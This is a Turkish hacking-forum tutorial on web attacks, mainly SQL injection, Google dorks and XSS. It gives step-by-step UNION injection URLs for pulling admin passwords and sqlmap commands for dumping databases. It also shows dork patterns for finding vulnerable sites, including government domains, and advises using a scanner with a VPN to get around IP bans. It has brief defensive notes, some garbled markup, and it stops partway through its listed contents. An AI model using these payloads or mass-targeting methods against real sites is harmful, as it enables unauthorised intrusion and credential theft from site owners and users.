Web Hacking'e Giriş: Genel Terimler ve Kavramlar

Ghost Killer

Harici Saldırı Timleri Koordinatörü
13 Ocak 2019
11,318
7,706
Hepinize selamlar arkadaşlar. Bu konumuzda Web Hacking'e giriş yapacağız. Detaylı anlatımımız ile birlikte web site hacklemeyi, saldırganların yapabileceği tehdit etkenleri ve boyutlarını, web site hacklenmesiyle beraber savunma yollarını bu konuda öğrenebileceksiniz. Kısaca bu konu sizlere rehber niteliğinde olacak. Lafı uzatmadan konumuza geçelim.



Konumuzun içeriği;

> 1. SQL Açıkları

1.1 SQL Açığı Nedir?

1.2 SQL Açığı Nasıl Tespit Edilir?

1.3 SQL Açığı Nasıl Sömürülür?

1.3.1 Manuel SQL İle Sömürme

1.3.2 SQL Araçları İle Sömürme

1.4 SQL Açığı Nasıl Kapatılır?

1.5 MD5 Nedir?

1.6 MD5 ve Benzeri Şifrelenmiş Parolalar Nasıl Kırılır?

> 2. Dork Nedir?

2.1 Dork Oluşturma

2.2 Etkili Dork Oluşturmak

2.3 Scanner Araçları

> 3. XSS Açıkları

3.1 Yansıyan XSS Saldırısı

3.2 Depolanan XSS Saldırısı

3.3 DOM Tabanlı XSS Saldırısı

3.4 XSS Hakkında Diğer Bilgiler ve Saldırı Önleme

> 4. Code İnjection

4.1 Hedef Siteye Shell Atma

4.2 Shell Atarak Server Bypass Etme (Config Okuma)

4.3 Web Site Saldırılarına Karşı Önlemler

> 5. Brute Force

5.1 Kaba Kuvvet Saldırıları

> 6. RFI ve LFI

6.1 RFI Nedir?

6.2 LFI Nedir?

6.3 RFI ve LFI Aralarındaki Farklar Nelerdir?

6.4 Saldırıdan Korunma Yöntemleri

6.5 Uzaktan Dosya Ekleme Örnekleri

6.6 DIY RFI Önleme ve Azaltma

> 7. CSRF

7.1 CSRF Saldırısı Nasıl Oluşturulur?

7.2 Saldırı Yapmak İçin Gerekenler

7.3 CSRF Nasıl Tespit Edilir?

7.4 CSRF Zafiyetine Karşı Alınabilecek Önlemler

> 8. Login Bypass

8.1 Admin Panel Bulma

8.2 Admin Panel Bypass Etme

8.3 Örnek Bypass Kodları

> 9. Hedef Web Site Hakkında Bilgi Toplama

9.1 Sunucu İçerisini Görüntüleme

9.2 İP Adresi Geçmişi Görme


> 10. DDoS Saldırıları

10.1 DoS Nedir?

10.2 DDoS Nedir?

10.3 DoS ve DDoS Aralarındaki Farklar Nelerdir?

10.4 Botnet Nedir?

10.5 Zombi PC Nedir?

10.6 VDS/VPS Sunucu Nedir?

10.7 VDS ve VPS Aralarındaki Farklar Nelerdir?

10.8 VDS/VPS Sunucu Nasıl Alınır?

10.9 Sunucudan Saldırı Nasıl Yapılır?

10.10 Saldırılara Karşı Koruma Nasıl Sağlanır?

10.11 Saldırı Tespit ve Analiz

10.12 Modeminize Gelen Saldırıları Tespit Etme




h7fao2l.png



hgbat2w.jpg


1. SQL Açıkları

SQL kavramı kelime anlamı olarak ”Yapılandırılmış Sorgu Dili” (Structured Query Language) anlamına gelmektedir. Yani ortada bir sorgu-yanıt ilişkisi vardır. Örneğin bir sosyal medya uygulamasında veya bir e-ticaret sitesinde sizin kayıt olurken girdiğiniz kullanıcı adı ve şifreler bir veri tabanına kaydedilir ve bundan sonraki login işlemlerinizde, sistem kullanıcı adı şifre kombinasyonlarınızı veri tabanından sorgulayarak eşleştirmeye çalışır. Eşleşirse girersiniz, eşleşmezse giremezsiniz. Dolayısıyla SQL veritabanları bir request-response altyapısıyla çalışır.


nsy7s7f.jpg


1.1 SQL Açığı Nedir?

Üstte dediğim gibi veritabanları, tıpkı yazılım dilleri gibi standart bir syntax türüne sahiptir ve bu veri tabanlarını yazan yazılımcıların yaptığı mantıksal hatalar doğrultusunda belirli sistemsel zafiyetler ortaya çıkar. SQL açığının asıl nedeni kullanıcıdan gelen request’i sorgulamadan ona karşılık gelen response’u kullanıcıya vermesidir. Maalesef bu zafiyet ne kadar hafife alınsa da veri güvenliği açısından şirketler için hiç iyi sonuçlar doğurmayabilir. Zira SQL Injection zafiyeti sayesinde veri tabanlarıyla root izni olmadan gerekli request’i yöneltip istediğiniz response’u alabilirsiniz.


321vvvh.jpg


1.2 SQL Açığı Nasıl Tespit Edilir?

SQL Injection site URL’lerinde belli olan bir zafiyettir. Tabi bu siteleri burada paylaşmamız etik olmayacağından ornek-site.com üzerinden gösterecek olursak;


Sonunda gördüğümüz ‘sayfa.php?id=x' yapısı bütün SQL Injection zafiyetlerinde bulunmaktadır. Fakat bu ibare bulunan bütün sistemlerde SQL açığı olmayabilir.

Bu bahsettiğimiz ibare aslında bir veri tabanının giriş kapısıdır ve bu işi yapabilmek için girişteki güvenlikten kaçmamız gerekir. Bu nedenle kılık değiştiririz. Bu işlem tırnak (‘) işaretiyle string bölümünden kaçmak demektir. Bu işlem sonrasında alacağınız hata şu şekilde olabilir:

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '’index.php?id=2’’' at line 1

Eğer bu hata varsa SQL açığı mevcuttur, hatta daha ilerisi olarak şunu söyleyebilirim; sayfa görüntüsünde bir değişiklik var ise zafiyetin mevcut olma ihtimali yüksektir.


5x87ugr.jpg

1.3 SQL Açığı Nasıl Sömürülür?

SQL açıklı bir hedef site bulduğumuzu var sayarsak bu açığı sömürmenin pek çok yolu mevcuttur. Bazı toollar ile (az sonra bahsedeceğim) yada manuel yol ile. İlk olarak manuel sql nedir buna bakalım.


h7fao2l.png




sd80f47.jpg


1.3.1 Manuel SQL İle Sömürme


http://www.hedefsitemiz.com/ürün.php?id=4' (Tırnak işreti bıraktık sayfada hata , Veri kaybı vb. olursa sql açığı mevcuttur. )
http://www.hedefsitemiz.com/ürün.php?id=4' order by 1 -- - (Order By Komutunun Yanındaki "1" Sayısını Hata Alana Kadar Artırıyoruz) diyelim ki hatayı 5 te aldık
http://www.hedefsitemiz.com/ürün.php?id=-4' union select 1,2,3,4 -- - bu şekilde yaptıktan sonra diyelim ki 3 sayısı yansıdı sayfaya 1 ve 5 arasında bir sayı yansıması gerek 3 yansıdı diyelim.


http://www.hedefsitemiz.com/ürün.php?id=-4' union select 1,2,version(),4 -- -

bu kod ile version bilgisini öğrenebiliriz.

http://www.hedefsitemiz.com/ürün.php?id=-4' union select 1,2,database(),4 -- -

bu kod ile database ismini öğrenebiliriz.

Tablo adı nasıl öğrenilir? :

http://www.hedefsitemiz.com/ürün.php?id=-4' union select 1,2, table_name,4 from information_schema.tables -- -

Burdan admin tablosunu bulunuz diyelimki tablo adı admin onu nasıl çekeceğiz

http://www.hedefsitemiz.com/ürün.php?id=-4' union select 1,2, column_name,4 from information_schema.columns where table_name=admin -- -

bu şekildede admin tablosunu çekiyoruz

içinde Her zaman username, password, id çıkar onları nasıl çekeceğiz ?

http://www.hedefsitemiz.com/ürün.php?id=-4' union select 1,2, password,4 from admin -- -

bu şekilde password çekebilirsiniz password silip username yazarsanız,

username kısmını da çekersiniz.


Manuel SQL Kullanımı İçin TIKLAYINIZ
Manuel SQL Waf Bypass İçin TIKLAYINIZ




h7fao2l.png



68zuu34.jpg

1.3.2 SQL Araçları İle Sömürme

Burada SQL araçlarından kasıt sql açıklarını daha kolay yoldan sömürme işlemi yapan toollardır. Örneğin havij, sqlmap vb. gibi.

Havij aracından bahsedecek olursak çok fazla detaya girmeyeceğim. Zaten basit bir araç. Detaylı okumak isteyenler bu konuya bakabilir;

Havij Kullanımı İçin Tıklayınız.


SQLMap Aracını herkes bilir. Son yıllarda da en çok kullanılan ve etkili araçlardan birisidir. Sqlmap python dili kullanılarak yazılan , veritabanı açığını sömürerek veritabanı bilgilerini dump eden bir çeşit hack aracıdır.



kos3y4g.jpg


Kullanım ve Parametreler

Sqlmap başlangıç olarak kullanımı oldukça basit ve bir o kadar etkili bir araçtır. Bu tool içinde kullanılan bazı parametreleri örneklerle anlatarak sqlmap’in nasıl çalıştığını anlayalım.

Options sekmesi
  • -h /–help: Basit yardım ve kullanım özelliklerini yazdıran komutumuzdur.​
  • -hh: Advanced yardım ve kullanım özelliklerini yazdıran komutumuzdur.​
  • -v: Default olarak 1 tanımlı gelen ve sqlmap çalıştığı süre zarfında bize gösterdiği çıktıların gösterimini belirlediğimiz verbose komutumuzdur. 0 ile 6 arasında değişmektedir. 0 en az çıktıyı döndürürken, 6 en çok çıktı ile sonuçları döndürmektedir.​


Target sekmesi

Hedef(ler)in seçimini yapmamız için kullanmamız gereken parametrelerin bulunduğu kategorimizdir. En azından birinin seçilmesi gerekmektedir.
  • -u, –url: Veri tabanına direkt erişimimiz yoksa ve injection yolu ile deneme yapmak istiyorsak kullanabileceğimiz komutumuzdur.​
  • Örnek kullanım:
    sqlmap -u “http://www.websitesi.com/test.php?id=1”​
  • -g: Google dork ile belirli bir pattern’e sahip siteler üzerinde testler gerçekleştirmemizi sağlayan komutumuzdur.​
  • Örnek kullanım:
    sqlmap -g “.php?id=”​


Injection Sekmesi:

Hangi parametrelerin test edileceği, kişisel payload tanımlamaları ve tamper script’leri tanımlamaları gibi ayarlamaları yapabileceğimiz parametrelerin bulunduğu kategorimizdir.
  • –dbms: Sqlmap’e yardımcı olmak adına eğer backend’de çalışan database management system’i biliyorsak, dbms ile tanımlayabilmekteyiz.​
  • Örnek kullanım:
    sqlmap -u “www.siteadi.com/testet.php?id=1″ –dbms=”MySql”​
  • –tamper: Eğer kullanıcı ile back-end database arasında zayıf bir giriş kontrolü varsa injection yapılacak string’leri WAF’tan geçirebilmek amacı ile kullanılan parametremizdir. Önüne alacağı parametre sqlmap klasörü içerisindeki tamper klasörü içerisinden kullanılır.​
  • Örnek kullanım:
    sqlmap -u “www.siteadi.com/testet.php?id=1″ –tamper=”between”​
  • –prefix: Test edilecek parametreleri, payload’ların önüne istediğimiz değeri ekleyerek daha da özelleştirebileceğimiz parametremizdir.​
  • Örnek kullanım:
    sqlmap -u “www.siteadi.com/testet.php?ad=deneme” –prefix “‘)”​


Enumeration Sekmesi:

Veri tabanı yönetim sistemi hakkında bilgilendirme için kullanacağımız parametrelerin bulunduğu kategorimizdir. Tablo içerisindeki verileri çekme, bilgi alma amacıyla kullanılır.
  • –all: Bütün parametlerin aynı anda çalıştırıldığı komuttur.​
  • Örnek kullanım:
    sqlmap -u “www.siteadi.com/testet.php?id=1” –all​
  • –users: Veri tabanı yönetim sistemi kullanıcılarını listelemek için kullanabileceğimiz parametremizdir.​
  • Örnek kullanım:
    sqlmap -u “www.siteadi.com/testet.php?id=1” –users​
  • –passwords: Eğer geçerli user’ın, sistem tablolarını okuma izni var ise şifreleri hash olarak çekmemize yardımcı olur. Sqlmap bu işlem için önce kullanıcıları çeker. Ardından pass hash’lerini çekmeye çalışır.​
  • Örnek kullanım:
    sqlmap -u “www.siteadi.com/testet.php?id=1” –passwords​
  • –dbs: Eğer geçerli user’ın, sistem tablolarını okuma izni var ise veri tabanı isimlerini çekebilmemize yarayan parametremizdir.​
  • Örnek kullanım:
    sqlmap -u “www.siteadi.com/testet.php?id=1” –dbs​
  • –tables: Eğer geçerli user’ın, sistem tablolarını okuma izni var ise seçtiğimiz veri tabanı içerisindeki tüm tabloları çekebilmemize yarayan parametremizdir.​
  • Örnek kullanım:
    sqlmap -u “www.siteadi.com/testet.php?id=1” –tables
    sqlmap -u “www.siteadi.com/testet.php?id=1” -D veritabaniadi –tables​
  • –columns: Eğer geçerli user’ın, sistem tablolarını okuma izni var ise seçtiğimiz veri tabanı içerisindeki seçtiğimiz tablodaki tüm kolonları çekmemize yarayan parametremizdir.​
  • Örnek kullanım:
    sqlmap -u “www.siteadi.com/testet.php?id=1” –columns
    sqlmap -u “www.siteadi.com/testet.php?id=1” -D veritabaniAdi -T tabloAdi –columns​
  • –dump: Veri tabanımız ya da tablomuzun içeriğini dump etmek istiyorsak, kullanabileceğimiz parametremizdir.​
  • Örnek kullanım:
    sqlmap -u “www.siteadi.com/testet.php?id=1” -D veritabaniAdi -T tabloAdi –dump​


Daha Detaylı SQLMAP Kullanımı İçin Tıklayınız.


h7fao2l.png



dlzzy7m.jpg


1.4 SQL Açığı Nasıl Kapatılır?

Günümüzde aktif halde eskiye nazaran çok fazla bulunmasada hala SQL açıkları önemli bir açık olarak günümüz saldırılarında rol almaktadır.
Gelin SQL Injection Açığının PHP de oluşmasında önemli rol oynayan kodlara bakalım;

PHP:
$id $_GET[ficT];
$kayit mysql_query(“SELECT FROM ürünler WHERE id $id”)

Yukarıda bulunan kod satırını yorumlayacak olursak get ile bir önceki sayfadan çektiğimiz id değerini sorgulatmadan kayıt ürünler tablosuna yönlendirdik burda bulunan kod satırına

müdahalemiz söz konusu aşağıdaki örnekte olduğu gibi;

+] www.hedefsitemiz.com/urunler.php?id=2
web sitemizin get ile döndürdüğü id değeri :

Ürünler tablosundan get ile gelen değer üzerinden php de kontrol yapılmadan sql veritabanına gönderilmektedir başlıca saldırı tipleri bunlardır.

Bunlara önlem alabilmek için bir çok yöntem bulunmakta saldırıların gerçekleştiği kod satırına göz attığımızda sorgu yapılmadan sql ile bağlantı kurulduğundan temel olarak gelen id değerini bir sorguya dahil ettikten sonra sql ile bağlantı sağlamamız bu konuda bazı önlemler alınabilmekte sorgu yapabileceğimiz fonksiyon;

PHP:
$id= mysql_real_escape_string($id);

Bu fonksiyon ile gelen id değerini bir filtreden geçirerek id değerini sorguluyoruz.

Hata karakterlerinin filtrelemesini yapmaktadır ancak bu fonksiyon sql ınjection ataklarını yeterince engelleyememektedir id değerinin integer değerli baz alarak bu fonksiyonu kullanabiliriz.

PHP:
is_numeric()

Kullanım örneği ;

PHP:
$id 5;
if(is_numeric($id)){
echo ’Bu bir sayıdır’;
}
else {
echo ’Bu bir sayı değildir.';
>

Bu fonksiyonu tekil bir şekilde çalıştırdığımızda 5 değerinin yanına hata karakterleri uyguladığımızda else cevabını döndürecektir.

Tabi örnekler çoğaltılabilir fakat verdiğim örnek ile beraber basitçe sql açıklarınızı kapatabilir ve önlemlerinizi alabilirsiniz.



nbmfcw1.jpg


1.5 MD5 Nedir?

MD5 İngilizcesiyle (Message-Digest algorithm 5) aslında bir şifreleme yöntemi değil, bir hash function‘dır. Yani herhangi bir uzunlukta verilen mesajı (veya dosyayı) alıp fazla uzun olmayan bir harf ve sayı dizisine çevirir. Siz 700mb büyüklüğünde bir Linux dağıtımının .iso dosyasını indirseniz de, “merhaba, nasılsın?” mesajı yazsanız da, hepsinin MD5 sonucu 128bit uzunluğundadır. 128bit ise 128/4 = 32 hexadecimal sayıyla ifade edilebilir.



smn9p02.jpg


1.6 MD5 ve Benzeri Şifrelenmiş Parolalar Nasıl Kırılır?


Günümüzde SQL açıkları çok fazla yaygın olmasa bile bulduğunuz sql açıklı sitenin şifreleri şifrelenmiş (hashlanmiş) olabilir. Bunun türleri genellikle MD5 olur. Tabi illa md5 olacak diye birşey yok pek çok şifreleme türü mevcuttur. Peki biz bu parolaları nasıl kıracağız ondan bahsedelim.


Bazı web sitelerini kullanarak kırabilirsiniz;

1. Site İçin Tıklayınız
2. Site İçin Tıklayınız
3. Site İçin Tıklayınız
4. Site İçin Tıklayınız
5. Site İçin Tıklayınız

Veya john the ripper, hash decrytp ile kırabilirsiniz.


h7fao2l.png



zQdBdA.jpg

2. Dork Nedir?

Hepimizin en az bir kere duyduğu dork kavramı, interneti daha verimli ve iyiye kullanabilmek amacıyla kullanılabilir. Bununla birlikte farklı bir kullanım amacı ise hacking'dir. Hack işlemlerinde oldukça kullanılan dork, çeşitli sitelerdeki açıkları bulmak amacıyla kullanılabilir. Mesela "inurlphp?id=" dorku açık bulmaya yarayan dorklardan biridir. Aynı zamanda kişi hakkında çeşitli bilgiler toplamayı ve istihbarat elde etmek için kullanılır.


Dorkların pek çok çeşitleri mevcuttur. Bilgi toplama amaçlı, saldırı amaçlı, açık arama amaçlı vb. Aynı zamanda dork üretmenin de pek çok yöntemi mevcuttur.


ckxrxl3.jpg

2.1 Dork Oluşturma

Google dorks , google üzerindeki aramalarımızı daha efektif ve hızlı şekilde yapabilmemize yarayan sorgulara verilen isimdir. Bu şekilde önümüze gereksiz siteler çıkmaz ve zamandan tasarruf ederiz.

1) Intitle: Bu dork sayesinde yazdığınız kelimenin aynısını başlığında içeren siteler karşımıza gelecektir.
Örnek: intitle:cybersecurity

2) Intext: Bu dork sayesinde yazdığımız kelimeyi text içerisinde arayıp bulacaktır ve bulduğu siteleri bize döndürecektir.
Örnek: intextpassword

3) Ext: Bu dork sayesinde aradığımız dosyanın uzantısını belileyebiliriz.
Örnek: intitle:login ext:log

4) Allintext: Bu dork sayesinde aradığınız kelimeyi tüm text içerisinde ararsınız.
Örnek: allintext:sqlite

5) Inurl: Bu dork sayesinde url içerisinde yazdığımız kelimeyi ararız.
Örnek: inurl:edu.tr

6) Cache: Bu dork sayesinde aranan sitenin önbelleğe alınmış sürümü karşımıza gelecektir.
Örnek: cache:google.com

7) Filetype: Bu dork -ext- dorku ile benzer şekilde çalışır. Aradığımız dosya türünde sonuçlar karşımıza getirir.
Örnek: intext:hacking filetypepdf

8) Related: Bu dork aradığımız sayfalara benzer sayfaları karşımıza getirir.
Örnek: related:amazon.com

9) Book: Bu dork sayesinde aradığımız kitabı buluyoruz.
Örnek: book:Black

10) Maps: Bu dork sayesinde bulmak istediğimiz konumlara erişebiliriz.
Örnek: maps:scotland


Aynı zamanda dork oluşturucu programlar da mevcut. Örnek olarak sizlere tavsiye edeceğim Veteran Dork Studio 3 programıdır.

İncelemek veya kullanmak isteyenler için;

Veteran Dork Studio Programı İçin TIKLAYINIZ


h7fao2l.png



erqfxrl.jpg

2.2 Etkili Dork Oluşturmak

Hedefimize göre filtrelemeli dork oluşturmak için aslında çok zor olmayan basit yollar mevcuttur.

Yukarıda anlattığım bilgiler etkili ve yaratıcı dorklar oluşturmanız için size yardımcı olacaktır. Dorkları oluştururken gerçekten ne aradığınızı bilmeniz gerekiyor. Dorkların diziliş şekli genel itibariyle aşağıdaki şekilde olmalıdır;

Kod:
Google operatörü (şart değil):domain adı (şart değil).domain uzantısı (şart değil).ülke uzantısı (şart değil)/zafiyet içeren adres

Örnek olarak zafiyet içeren ekimizin index.php?id= olduğunu varsayalım.

Kod:
index.php?id=[/SIZE][/COLOR][/CENTER][/SIZE][/COLOR][/CENTER]
[COLOR=rgb(255, 255, 255)][SIZE=4][CENTER][COLOR=rgb(255, 255, 255)][SIZE=4]
[CENTER].xx/index.php?id=

.com.xx/index.php?id=

yyy.com.xx/index.php?id=

inurl:yyy.com.xx/index.php?id=

inurl:yyy.org.xx/index.php?id=

inurl:yyy.gov.xx/index.php?id=

subdomain.yyy.gov.xx/index.php?id=

Admin site:yyy.gov.xx

Administrator site:subdomain.yyy.gov.xx




Yukarıdaki örnek gibi dorklar oluşturarak geliştirebilirsiniz. Güvenlik zafiyeti içeren scriptleri tespit etmek için, Exploit yayınlayan siteleri takip edebilirsiniz. En büyük Exploit kütüphanesi Exploit-DB yi takip edebilirsiniz.



h7fao2l.png



Capture.png


2.3 Scanner Araçları


Scanner araçları, ona verdiğiniz dork ile google üzerinden açık barındırabilecek siteleri tarar, açık olduğunu tespit ettiği siteleri liste haline getirip sunan ve saldırı yapabilmenizi kolaylaştıran oldukça yararlı ve sağlam araçlardır.

Örnek olarak
Gr3eNoX Exploit Scanner aracını kullanabilirsiniz.


Aracın bulunduğu konuya gitmek için TIKLAYINIZ.

Araç eğer taramıyor hata veriyorsa İP adresiniz ban yemiştir. Bunun için VPN kullanarak bu sorunun da önüne geçebilirsiniz. İP adresi değiştirdikten sonra tekrardan site taramaya ve sizlere site bulmaya devam edecektir.




h7fao2l.png



rumwvhz.jpg


3. XSS Açığı Nedir?


Cross-Site Scripting (XSS olarak da bilinir), bir saldırganın, kullanıcıların güvenlik açığı bulunan bir uygulamayla olan etkileşimlerini tehlikeye atmasına olanak tanıyan bir web güvenlik açığıdır. Bir saldırganın, farklı web sitelerini birbirinden ayırmak için tasarlanmış aynı kaynak politikasını atlatmasına olanak tanır. Cross-Site Scripting güvenlik açıkları normalde bir saldırganın kurban kullanıcı gibi görünmesine, kullanıcının gerçekleştirebileceği tüm eylemleri gerçekleştirmesine ve kullanıcının herhangi bir verisine erişmesine olanak tanır. Kurban kullanıcı uygulama içinde ayrıcalıklı erişime sahipse, saldırgan uygulamanın tüm işlevleri ve verileri üzerinde tam denetim sahibi olabilir.


XSS çalışma mantığına gelirsek Cross-Site Scripting, savunmasız bir web sitesini, kullanıcılara kötü amaçlı JavaScript döndürmesi için manipüle ederek çalışır. Kötü amaçlı kod bir kurbanın tarayıcısında yürütüldüğünde, saldırgan uygulama ile etkileşimini tamamen tehlikeye atabilir.

Üç ana XSS saldırısı türü vardır. Bunlar:
  • Kötü amaçlı komut dosyasının geçerli HTTP isteğinden geldiği yansıtılan XSS .​
  • Saklanan XSS , kötü amaçlı komut dosyasının web sitesinin veritabanından geldiği yer.​
  • Güvenlik açığının sunucu tarafı kodu yerine istemci tarafı kodunda bulunduğu DOM tabanlı XSS .​


blniq20.jpg


3.1 Yansıyan XSS Saldırısı


Reflected XSS , Cross-Site Scripting'in en basit çeşididir. Bir uygulama bir HTTP isteğinde veri aldığında ortaya çıkar ve bu verileri güvenli olmayan bir şekilde anında yanıta dahil eder.

Yansıtılan bir XSS güvenlik açığının basit bir örneği :


<p>Status: All is well.</p>

Uygulama, verileri başka bir şekilde işlemez, bu nedenle bir saldırgan aşağıdaki gibi kolayca bir saldırı oluşturabilir:

<p>Status: <script>/* Bad stuff here... */</script></p>

Kullanıcı, saldırgan tarafından oluşturulan URL'yi ziyaret ederse, saldırganın komut dosyası, kullanıcının uygulama ile oturumu bağlamında kullanıcının tarayıcısında yürütülür. Bu noktada, komut dosyası herhangi bir eylemi gerçekleştirebilir ve kullanıcının erişimi olan herhangi bir veriyi alabilir.



efq7yqa.jpg


3.2 Depolanan XSS Saldırısı


Saklanan XSS (kalıcı veya ikinci dereceden XSS olarak da bilinir), bir uygulama güvenilmeyen bir kaynaktan veri aldığında ve bu verileri daha sonraki HTTP yanıtlarına güvenli olmayan bir şekilde dahil ettiğinde ortaya çıkar.

Söz konusu veriler HTTP istekleri aracılığıyla uygulamaya gönderilebilir; örneğin, bir blog gönderisine yapılan yorumlar, bir sohbet odasındaki kullanıcı takma adları veya bir müşteri siparişindeki iletişim bilgileri. Diğer durumlarda, veriler diğer güvenilmeyen kaynaklardan gelebilir; örneğin, SMTP üzerinden alınan mesajları görüntüleyen bir web posta uygulaması, sosyal medya gönderilerini görüntüleyen bir pazarlama uygulaması veya ağ trafiğinden gelen paket verilerini görüntüleyen bir ağ izleme uygulaması.

İşte saklanan bir XSS güvenlik açığının basit bir örneği . Bir mesaj panosu uygulaması, kullanıcıların diğer kullanıcılara görüntülenen mesajları göndermesine izin verir:


<p>Hello, this is my message!</p>

Uygulama, verilerin başka bir şekilde işlenmesini gerçekleştirmez, bu nedenle bir saldırgan, diğer kullanıcılara saldıran bir mesajı kolayca gönderebilir:

<p><script>/* Bad stuff here... */</script></p>



prgyh6l.jpg


3.3 DOM Tabanlı XSS Saldırısı


DOM tabanlı XSS ( DOM XSS olarak da bilinir ), bir uygulama, genellikle verileri DOM'a geri yazarak, güvenilmeyen bir kaynaktan gelen verileri güvenli olmayan bir şekilde işleyen bazı istemci tarafı JavaScript içerdiğinde ortaya çıkar.

Aşağıdaki örnekte, bir uygulama, bir giriş alanındaki değeri okumak ve bu değeri HTML içindeki bir öğeye yazmak için JavaScript kullanır:


var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;


Saldırgan giriş alanının değerini kontrol edebiliyorsa, kendi komut dosyalarının yürütülmesine neden olan kötü amaçlı bir değeri kolayca oluşturabilir:

You searched for: <img src=1 onerror='/* Bad stuff here... */'>

Tipik bir durumda, giriş alanı, bir URL sorgu dizesi parametresi gibi HTTP isteğinin bir kısmından doldurulur ve saldırganın, yansıtılan XSS ile aynı şekilde kötü amaçlı bir URL kullanarak bir saldırı gerçekleştirmesine olanak tanır.



j3xk77d.jpg


3.4 XSS Hakkında Diğer Bilgiler ve Saldırı Önleme


XSS ne için kullanılabilir?

Cross-Site Scripting güvenlik açığından yararlanan bir saldırgan genellikle şunları yapabilir:
  • Kurban kullanıcı kimliğine bürünün veya maskeli balo yapın.​
  • Kullanıcının gerçekleştirebileceği herhangi bir eylemi gerçekleştirin.​
  • Kullanıcının erişebildiği tüm verileri okuyun.​
  • Kullanıcının oturum açma kimlik bilgilerini yakalayın.​
  • Web sitesinin sanal tahrifini gerçekleştirin.​
  • Web sitesine truva atı işlevselliği enjekte edin.​

XSS güvenlik açıklarının etkisi

Bir XSS saldırısının gerçek etkisi genellikle uygulamanın doğasına, işlevselliğine ve verilerine ve güvenliği ihlal edilen kullanıcının durumuna bağlıdır. Örneğin:
  • Tüm kullanıcıların anonim ve tüm bilgilerin herkese açık olduğu bir broşür uygulamasında, etki genellikle minimum düzeyde olacaktır.​
  • Bankacılık işlemleri, e-postalar veya sağlık kayıtları gibi hassas verileri tutan bir uygulamada, etki genellikle ciddi olacaktır.​
  • Güvenliği ihlal edilen kullanıcının uygulama içinde yükseltilmiş ayrıcalıkları varsa, etki genellikle kritik olacaktır ve saldırganın güvenlik açığı bulunan uygulamanın tam kontrolünü ele geçirmesine ve tüm kullanıcıları ve verilerini tehlikeye atmasına olanak tanır​

XSS güvenlik açıkları nasıl bulunur ve test edilir

XSS güvenlik açıklarının büyük çoğunluğu, Burp Suite'in web güvenlik açığı tarayıcısı kullanılarak hızlı ve güvenilir bir şekilde bulunabilir .

Yansıtılan ve depolanan XSS'nin manuel olarak test edilmesi normalde uygulamadaki her giriş noktasına bazı basit benzersiz girdilerin (kısa bir alfasayısal dize gibi) gönderilmesini, gönderilen girdinin HTTP yanıtlarında döndürüldüğü her konumun belirlenmesini ve her konumun bağımsız olarak test edilmesini içerir. İsteğe bağlı JavaScript'i yürütmek için uygun şekilde hazırlanmış girdinin kullanılıp kullanılamayacağı. Bu şekilde, XSS'nin oluştuğu bağlamı belirleyebilir ve bundan yararlanmak için uygun bir yük seçebilirsiniz.

URL parametrelerinden kaynaklanan DOM tabanlı XSS'nin manuel olarak test edilmesi benzer bir süreci içerir: parametreye bazı basit benzersiz girdiler yerleştirmek, bu girdi için DOM'yi aramak için tarayıcının geliştirici araçlarını kullanmak ve kötüye kullanılabilir olup olmadığını belirlemek için her konumu test etmek. Ancak, diğer DOM XSS türlerinin tespit edilmesi daha zordur. URL tabanlı olmayan girdilerde ( ) veya HTML tabanlı olmayan havuzlarda ( gibi ) DOM tabanlı güvenlik açıklarını bulmak için JavaScript kodunu incelemenin yerini hiçbir şey tutamaz ve bu son derece zaman alıcı olabilir. Burp Suite'in web güvenlik açığı tarayıcısı, DOM tabanlı güvenlik açıklarının algılanmasını güvenilir bir şekilde otomatikleştirmek için JavaScript'in statik ve dinamik analizini birleştirir. document.cookiesetTimeout

İçerik güvenliği politikası

İçerik güvenliği politikası ( CSP ), Cross-Site Scripting ve diğer bazı güvenlik açıklarının etkisini azaltmayı amaçlayan bir tarayıcı mekanizmasıdır. CSP kullanan bir uygulama XSS benzeri davranış içeriyorsa, CSP güvenlik açığından yararlanılmasını engelleyebilir veya önleyebilir. Genellikle, temeldeki güvenlik açığından yararlanılmasını sağlamak için CSP atlatılabilir.

Sarkan işaretleme enjeksiyonu

Sarkan işaretleme enjeksiyonu, giriş filtreleri veya diğer savunmalar nedeniyle tam Cross-Site Scripting'in mümkün olmadığı durumlarda etki alanları arası veri yakalamak için kullanılabilen bir tekniktir. Kullanıcı adına yetkisiz eylemler gerçekleştirmek için kullanılabilecek CSRF belirteçleri de dahil olmak üzere, diğer kullanıcılar tarafından görülebilen hassas bilgileri yakalamak için sıklıkla kullanılabilir.

XSS saldırıları nasıl önlenir?

Cross-Site Scripting'i önlemek bazı durumlarda önemsizdir ancak uygulamanın karmaşıklığına ve kullanıcı tarafından kontrol edilebilir verileri işleme şekline bağlı olarak çok daha zor olabilir.

Genel olarak, XSS güvenlik açıklarını etkili bir şekilde önlemenin aşağıdaki önlemlerin bir kombinasyonunu içermesi muhtemeldir:

  • Varışta filtre girişi. Kullanıcı girişinin alındığı noktada, beklenen veya geçerli girişe göre mümkün olduğunca katı bir şekilde filtre uygulayın.​
  • Çıktıdaki verileri kodlayın. HTTP yanıtlarında kullanıcı tarafından kontrol edilebilen verilerin çıktılandığı noktada, çıktının aktif içerik olarak yorumlanmasını önlemek için çıktıyı kodlayın. Çıktı bağlamına bağlı olarak bu, HTML, URL, JavaScript ve CSS kodlama kombinasyonlarının uygulanmasını gerektirebilir.​
  • Uygun yanıt başlıklarını kullanın. Herhangi bir HTML veya JavaScript içermesi amaçlanmayan HTTP yanıtlarında XSS'yi önlemek için tarayıcıların yanıtları istediğiniz şekilde yorumlamasını sağlamak için Content-Typeve X-Content-Type-Optionsbaşlıklarını kullanabilirsiniz .​
  • İçerik Güvenliği Politikası. Son bir savunma hattı olarak, hala meydana gelen XSS güvenlik açıklarının önem derecesini azaltmak için İçerik Güvenliği İlkesi'ni (CSP) kullanabilirsiniz.​


h7fao2l.png
 

Ghost Killer

Harici Saldırı Timleri Koordinatörü
13 Ocak 2019
11,318
7,706
rxdr9g1.jpg


4. Code İnjection Nedir?


Kod enjeksiyon saldırısı dediğimiz saldırı türü; sistemlere kötü amaçlı kodların enjekte edilmesini içeren saldırılar için kullanılan genel terimdir. Kullanıcıdan bilgi veya dosya istendiği durumlarda yeterli güvenlik kontrolü sağlanmazsa sitenin içerisine shell veya malware gibi zararlı yazılımlar sokulabilir.

Bu zararlı yazılımlar (shell gibi) bir sitenin kontrolünü tamamen hackerın eline geçirebilir ya da malware gibi sitenin belirli yerlerinde izinsiz reklamlar gösterebilir.

